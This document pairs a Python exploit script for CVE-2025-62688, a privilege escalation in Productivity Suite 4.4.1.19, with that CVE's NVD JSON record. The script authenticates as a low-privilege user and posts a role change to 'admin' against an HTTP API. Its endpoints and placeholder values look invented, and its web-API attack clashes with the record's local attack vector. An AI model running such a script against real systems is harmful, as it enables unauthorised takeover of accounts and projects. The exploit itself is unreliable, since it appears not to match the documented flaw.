CVE-2025-62688

# CVE-2025-62688 PoC - Productivity Suite权限提升 # This PoC demonstrates the privilege escalation vulnerability import requests import json TARGET_URL = "http://target-system:8080" CVE_ID = "CVE-2025-62688" def exploit_privilege_escalation(): """ Exploit for incorrect permission assignment vulnerability Allows low-privileged users to change their role to admin """ # Step 1: Authenticate with low-privileged credentials session = requests.Session() login_url = f"{TARGET_URL}/api/auth/login" low_privilege_creds = { "username": "low_priv_user", "password": "user_password" } response = session.post(login_url, json=low_privilege_creds) if response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Authenticated with low-privilege account") # Step 2: Exploit the permission assignment vulnerability # Send role change request without proper authorization check exploit_url = f"{TARGET_URL}/api/users/role" exploit_payload = { "user_id": "current_user_id", "new_role": "admin", # Elevate to administrator "current_password": "user_password" # Only low-priv password needed } headers = { "Content-Type": "application/json", "X-CVE-ID": CVE_ID } response = session.post(exploit_url, json=exploit_payload, headers=headers) if response.status_code == 200 and "admin" in response.text: print(f"[+] Privilege escalation successful - Now admin") print(f"[+] Full project control access granted") # Step 3: Verify full access verify_url = f"{TARGET_URL}/api/project/full-access" verify_response = session.get(verify_url) if verify_response.status_code == 200: print(f"[+] Confirmed: Full control access to project") return True print(f"[-] Exploitation failed") return False if __name__ == "__main__": print(f"[*] Testing {CVE_ID}") print(f"[*] Target: {TARGET_URL}") exploit_privilege_escalation()

{"cve": {"id": "CVE-2025-62688", "sourceIdentifier": "[email protected]", "published": "2025-10-23T22:15:49.217", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An incorrect permission assignment for a critical resource vulnerability was discovered in Productivity Suite software version 4.4.1.19. The vulnerability allows an attacker with low-privileged credentials to change their role, gaining full control access to the project."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-296-01.json", "source": "[email protected]"}, {"url": "https://support.automationdirect.com/docs/securityconsiderations.pdf", "source": "[email protected]"}, {"url": "https://www.automationdirect.com/support/software-downloads", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-296-01", "source": "[email protected]"}]}}